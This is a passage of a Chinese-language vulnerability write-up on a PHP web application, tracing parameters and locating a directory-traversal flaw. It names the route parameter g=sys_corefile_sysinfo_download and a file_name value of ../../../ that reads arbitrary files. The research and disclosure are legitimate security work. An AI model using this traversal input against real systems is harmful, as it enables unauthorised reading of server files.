<p>上方<code>$gwUrl</code>是通过传入了<code>sms_param[6]</code>,而<code>sms_param</code>参数通过不断的网上寻找看到了它通过直接从<code>sms_data.txt</code>中获取出来,以<code>~#%^</code>分割成数组,也还是间接通过静态变量控制了参数,除非这个<code>sms_data.txt</code> 我们可写,控制内容(暂时没找到,告一段落)。所以所有的<code>.php</code>文件都没有找到有任意文件读取的情况。</p>
<p><a id=img3 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208180949-31415800-c66a-1.png title><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABRMAAAKbCAYAAABmex0SAAEAAElEQVR4nOz9d5Rlx3UfCv/q3O6enAOAGWAGORGBHAQCBECCALNIUaREWZQoUrJsy5L1/JzeWl5O7/N63yfZli1LftIz9STbskTLFi1TjIIIkCAIAiACMQCIQAzCDAaYhJnpybG776nvj1NhV9WuOnXuPff27cFsEtP3nlNh165du/b+3QriyiuvkiA0NT2tPtHHgjwT4ElGns8FEhgM/5ysqAx9eWoeUvwMsi/6kUMdz8PUD06mXJpe+R1U3jry83LfgbRuDJKa6mxsLHD8c2UPWK9iVdaSSHzLr6q+H+tsACdDKjMRtVD6k04hIUnaSJ1SBtoohIAQBYRQtfWr/nFm69O2QcREh/KoXkopIWX1F5DqL0kpKqkWQqDoFOgUHXQ6hck7M9NFWZYoZWnKFkKYz0GThTumdN1SllVaXb+WvScbVQN076VFR96Sduk2+akKIRTvsG0uChSFMGWU3S7KimmnAGE+CtVEYZpq38XrjnJPypKA7R9RybkoOhXPQstRGv5oX9oyBVupk1LJQQgBURSqTcLyotLo8qUeS1LLwspx9MjKqixLlN0uumUJWUqUskQpJYQAOp0OxjpjKIoCEALdmRl0Vdrx8TGMdcbQ6XRMkXl2QgZfZSQj30+u7kiuTN9OkuHO1sS4H8EsnWnLnPHLJWSm/5g+xqqdTarrYt4LaDqB5LV6WLIJtYt/rt9y+qJtQ2UnpLFT0tc3Rv/S30dNQ9qiOn8yJ2Y4cyinl5evOWfgfJyls9QmzZs3D6dPn55tNgA0s6Rmno86B+HTI/vfTJcp47OlCP6Vxo8Wgsw5XuigCmbn4TGGBYZtl4X4u7lqhGcL6IrRbMlxrvZfU6KhKNfmfuQwbBnOlXHXMzJH0rbXThoexoLPXkv2aXDQbt2PCT5AG6aT4AFFP31T/jU4AgKY9C2E7G6SJP5uJ0gI4GEFJFT4DgM+CMnmVPAVqA2iGJFUYIg0FXBlNKBUzGS+Cu4VQ81lqZ0kow9OaZVOFJ0OUJYV+GkQNIWhGPmKCu6UFgSk2KgzxhIqLwEI+4/7RpKMGgQVApAShQrWhXKkpLRIkgxkKgwAqAFKQEAUBFAk4DDtY2rlhAQk4XNwdqQ/0v3mA4ka5KhA8w7GxjooigoslGWJrgHMYWWSRlZorZGPuWCvB9Ik6guyRgAa573qSON0E3shlf2Ikwybx4LYHINN7Gw7trFXveylRjeo8V5Ec+SVOwyKtTklC1a+ZJ7Qv8MYk+T9qAfp6kT1Tnjf26B+fLQ6sK9tcixt4t2ZR6M4h5yls3SmUU/zouebJhE3UTd/C9ZvoHnCn1L1ogIB4fsg6hP1aagTwoCJNOuZbVRnj/xJLFfG/gQYmwyHSXVtmA0dqhvGOcM8DcKk25V6V5c3RbG8Pq+zpRsx3lJ89cpz73rlrrYTGqZwEw1RZcOq+uk7vzQ/4grfh4BiDPjlQEqaREBIy7uGS0zKPtEQviU1HeX9OudqXX0nayDCTWlXaUrJrBwRACQFCTWyoNZ3ml8gqctA5CvRTP8CJK0N5Q2dDPtVMskinSulARFts1RaBbhpp6gsAaCElK4sqq8K4NMPBK2ROF/UwdJAJDO0hS7XZxdQQKEkv9BWPGqAV6/Ai+qQcIFDUPBQg4wqHZvX59N8VlZK+ON19kiv2izLEt1utaJWGtkAEAKdTgedsQ46nTFAAGW3RLfsolt2IUuJohBqnCkZJR1gwEfa+NTcii5+lRf0M7agMHHW6JJW12lzDFhe5zZJ9yU7I3AAaU9AYu9ER33MKxkKBeYnv/ZB81k3m+fokz8kpPlRA2RVIvFipKc9HqDYpO48EuRv76VaXYqXw+lb+OOwY0UjlQUIa7yCM4RGZd44S2fpLHlEfPjcCDj2rXpEbJ//A1Mkq4SEkAIQksxbMftJ+BXsykRKZ6A1ZWlQgJc/kSUC/VT1gks0Kn0zKnz41CAgCSgXaIy9qyu7H5nl6ICfZjZdiBi/KdArJyzpD0j0P2dm7plSLUpZiN5raJIm3J7crFyfVFCrV3bBc9pTcmRNYhxuddMneJXOH7ZkJjY3AJKbRtiJVk+64fI0eLCQBYSEBhT9GrVtkMHTfkmv5mPeRHLk2JY8sr90SkhRAbC2+QpgM7LQqzqFzatBWOhMyuFR2VlRgvSVkB7bCkAnDpZUyJ2Q6rMCyfRqOQONKxSyUFuSNfBoK622MRcBkGjbyo8BzzVkTZ40f2UucDQg10YCdhszBRLNVvAKUC2KwgCJRVGY7fvdbomyW5pjEGxj+gMSY1t8LYCbLlZpV6zGbNJADwBva7ywagQ4ukN+Y3BqdqERrt9nF1zm5NOKzcqsq5/ahyG33rEpBsj2jkGgIKLjQfnjfqANbcODsXNkXTncGwogCqccSwLhNO281IVLkzrObpMmDyq8rKnqDMZEz9JZOqNIkH9z09f6f7LyfSuXVa80jB8CQx0Qc/KP0N5ymJ5giQCiKxPfajRIc5tRNpPE8QNqnYLZBoxSNNensja9stnqo0G5+8PyVtvSIZ5H1rzO6nBqWvkQxpjjoabBdHO+nYZg1DxlrFTiNxa3JQyIyKGI3iMZe19DQQ4CMNDVdSHDFToQ+6VQEPBQA4p+Up1kkH3JBRrxFD71wJeDIVf5hQRKqO3CSg/84M+s6JNVsFyitNVrMNbAi8qpcZ4TQEmq8iOAYpXVKo4UFV+iLCEAFEXhnPlIwRyj1zRCJecimhWEvteXOYfrLbFC82gQ4SripfILiD432Tg7p/q8Qffq1Yhmq7ICEyXxQM3ZmJ0OOp2OOiNTgY/dEmXZrXpApav6HISPhJFgvkKn7hFIjHtQ6RETZUc77sGKAOmsNjX/kGcsiCbcAIKuwK01yUOkXDZy1C3eJ0pRWIM2IoLoiyKa6AGIlc5IczSGSafLiIqiTRkJ92Nf01e/c1/cZgjyN1pLr9WnChXe3wG6an5V/vOmNDM1hbGJiT44Oktn6Sy1SXosd2em6tPqX08qB1L5gTWgovKBjblSO6/ownZ384/90iKYONdBI03+ZBSbBQSThqbLmFnr/eOgxNHFDXNmVACh95fIN2rUr+BHtvN6IL/PRrsP4ycDts33sPu4fbkHLSAgHX/eXJjRLEr00qWwQM4gRoFBmeg7BhuJW5u4/DT7ZmsyV5ZZKafS6farVXjOllaZ2rzFNKIVCstJa6fHIdfVwn+eN9dJSJQACkEuCzBbdtVKQAAQRXVJB1Cdx9fVjEgLxgq60rPigW6B9hsrJAUU7ZblQBuIoyXKUoGaGsmxbRGFfh4qm13NqPOEQpSKi1xbocEjqdpodF/xKyjCyZRaOYSuHntva3mgl9FQIFH/V1VfoBBFdbFQp4Oio/tSECCxRFlWcitEQcBGztfix37QgoiDW98oa2PSEkjZmhBQsZdi2Nx+6xwdpGrkFefDBBTcHhV3ogkbTSxb2jpLr+IREQZDeW2O82/PRHQvW2FBxF7qSGVjmRfJr6NEPs4cWLugfTkxnOdR+IM7JY+6kJLlKU2ti18AJ44dwaKly9AZG2+79LN0ls5SJvlju9udwenjR2v9+OrHWoUjCrUbSNmqCiSkfr7r8ys3GeYERam8VWNDiTFVlAEm5pqpvn+WGgHigMQUiAgmTW8/QTVKPSy8ImdiNAlSky4nH1rJbOlOTr0pYXP569ozm+31+dCUo0w5/I5Cu0IaHpDYP2WG9Uj2WaqATLvhb7mT5G8MS6zCao0icgl4xlx8I0wTW7HXZCVfLz2ti9cTsG6TM3L0tjMCKlbf9QQcqZngA4FFDPGpBGn0ginIK1M7AvXTB9HClOnzEti1fiFMZt5JkNWGRXWxCVABVIpJfct1IQpIWUKILsquvqBFbyuX6hxD2ItKjAyk5/xUoF8FKLrvw70iGtip2l9KiQ5tpnpXnSujVt8Kens3BYncjBYQhPPXpnJ7nV9IaNCqAEygq9WifWwARa0MeZpWbU+WBjiU6jvdZilUv3U6HYyNVduahQIJ9epFvR0agN0G3enY8yldCSS/6uY436OIAUKhNDUK0vnDFsyuGOPVQf2JDXZ7viO90EcfH+H2dB4NwmVsWmZ7M247JQ3ClaZl9t47tgQHRIS+Wd7qmE3erCWBTuayVpc2B4sbGNEzoKv517BDeImzlqERgsntG/NYMb58AIR70keAJFB2uzh68MBsVP2WJ37uRlI4w5LbbGtragrfsHED9uwLbzluYsJiQ7dJxEzfCzp367Kc2MUaBC5tTn0ct8YMOfZIHzFUPdC+dKQIUrH9Qnf+UF04u815oJQ/7GZ7gAbUGjOpgkaqxREaBmo721SHPuX20+j1Z6r3eoP9B0fNA48BcV4fw/MUWTFDJ05um3Jy63LGe/MmeO25BWm8zQnsBfnHgIoGKbTFGvjMAEmkMpZfGtGYjeDqvzIX2+HLtehZULfw/jYplgMO08kJuBK8r/is7lpR4GBRVLf/EsRTqNVtUlar2oRQW2NVHmjwzkFIdf8p8NAfJ6RLUvGbcfHI+WQaPAxublE6QkJ/Cx4pfuiqQt3jMZyL12Ndl81rts5rOWhAz7DU3PLZYWYBW3rBigEQSwts6Bo7hV6JWG1r7nTs9nANIs50ZxQoXAGrnU4MSAwQt3gTnEci+i5spP6aOeBimB+p0Pa9BZeJlUPyFmdBtUh3nw0uXFDxTCZfQLHWtieFWI0+5tNPmWmKAYlVORpILNWY02e6ymj+uuf9eg51YBs84Yl4wDpL1Bc35jiHHgvzJ4Aeg78z2w689SjZn74DFwDSg+CIp9keyYOuP8dzakTaZZTeQ69k67vRJ/Line truncated
<p>最终漏洞是在<code>modules/*.mds</code>类似的文件中,并且多个处理函数都存在这种情况:</p>
<p><a id=img4 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208180955-352769a0-c66a-1.png><img src="data:image/png;base64,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 truncated
<p><a id=img5 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208181002-3922d86e-c66a-1.png><img src="data:image/png;base64,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 truncated
<blockquote><p>从<code>GET</code>请求的参数<code>g</code>中接受一个变量,通过这个变量可控制对应的处理路由,通过控制<code>g=sys_corefile_sysinfo_download</code>可来到上图的处理函数,直接传一个<code>file_name</code>为<code>../../../</code>的情况,在直接拼接字符串的时候就会造成目录穿越。</p>
</blockquote>
<p><a id=img6 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208181010-3dd203e4-c66a-1.png><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABhYAAAN7CAYAAACpg6BhAAEAAElEQVR4nOzdeVhUVR8H8O+wCwqyKgqibOK+oQlqmru45lKZ5ZapWVaammWmpS2WS/Xmbpm5lmXuu6aBgIr7hqxuKAiy79t9/xhmmGEGuAMzDMj38zw8MPeeOed37twZ7plzzzmSvLw8AURERERERERERERERCIY6DsAIiIiIiIiIiIiIiKqOYzUbRQEAfn5+cjPz0dhYWFVx6RTEokEhoaGMDY2hoEB+1WIiIiIiIiIiIiIiDQhKTkVUn5+PrKysp67DoWSJBIJTE1NYWpqqu9QiIiIiIiIiIiIiIhqDKURC/n5+cjIyNBXLFVKEARkZ2dDEASYmZnpOxwiIiIiIiIiIiIiohpBPheQIAjIysrSZyx6kZOTg4KCAn2HQURERERERERERERUI8g7Fp7H9RTEys3N1XcIREREREREREREREQ1glLHQm1Vm+tORERERERERERERKQJecdCbR2tANTuuhMRERERERERERERacKg/CRERERERERERERERERS7FjQgYcPH+Lzzz